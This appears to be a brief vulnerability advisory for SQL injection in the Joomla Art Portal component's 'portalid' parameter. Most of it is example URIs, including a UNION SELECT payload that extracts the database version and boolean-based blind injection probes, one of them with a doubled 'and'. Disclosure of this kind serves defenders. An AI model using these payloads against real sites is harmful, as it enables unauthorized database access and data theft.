|
|
Joomla! Art Portal Component 'portalid' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue. The following example URIs are available: http://www.example.com/index.php?option=com_artportal&portalid=1 union all select 1,2,3,4,5,6,version(),8,9-- http://www.example.com/index.php?option=com_artportal&portalid=1 and 1=2 => False http://www.example.com/index.php?option=com_artportal&portalid=1 and and 1=1 => True http://www.example.com/index.php?option=com_artportal&portalid=1 and substring(@@version,1,1)=4 => False http://www.example.com/index.php?option=com_artportal&portalid=1 and substring(@@version,1,1)=5 => True |
|
Privacy Statement |